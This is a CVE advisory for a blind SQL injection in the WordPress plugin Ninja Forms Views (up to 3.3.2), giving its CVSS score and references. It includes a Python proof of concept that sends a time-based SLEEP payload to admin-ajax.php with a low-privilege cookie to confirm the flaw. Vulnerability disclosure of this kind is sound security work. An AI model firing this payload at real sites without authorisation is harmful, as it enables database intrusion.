CVE-2026-42741

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Aman Ninja Forms Views – Display & Edit Ninja Forms Submissions on your site frontend views-for-ninja-forms allows Blind SQL Injection.This issue affects Ninja Forms Views – Display & Edit Ninja Forms Submissions on your site frontend: from n/a through <= 3.3.2.

CVSS Details

CVSS Score

8.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Ninja Forms Views <= 3.3.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php"

# Attacker cookies (low privilege session)
cookies = {
    "wordpress_logged_in_xxx": "low_privilege_session_cookie"
}

# Payload for Time-Based Blind SQL Injection
# Logic: If the database sleeps for 5 seconds, the condition is true.
payload_data = {
    "action": "nf_views_ajax_action", 
    "submission_id": "1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)"
}

try:
    print("[+] Sending SQL Injection payload...")
    response = requests.post(target_url, data=payload_data, cookies=cookies, timeout=10)
    
    # Check if the response time indicates success
    if response.elapsed.total_seconds() >= 5:
        print("[+] Vulnerability Confirmed: Database responded with delay (Blind SQLi).")
    else:
        print("[-] Vulnerability not detected or payload invalid.")
        
except requests.exceptions.RequestException as e:
    print(f"[!] Error during request: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42741
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42741
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42741/
[4] VulDB https://vuldb.com/cve/CVE-2026-42741
[5] https://patchstack.com/database/Wordpress/Plugin/views-for-ninja-forms/vulnerability/wordpress-ninja-forms-views-display-edit-ninja-forms-submissions-on-your-site-frontend-plugin-3-3-2-sql-injection-vulnerability?_s_id=cve

Raw JSON Data

JSON

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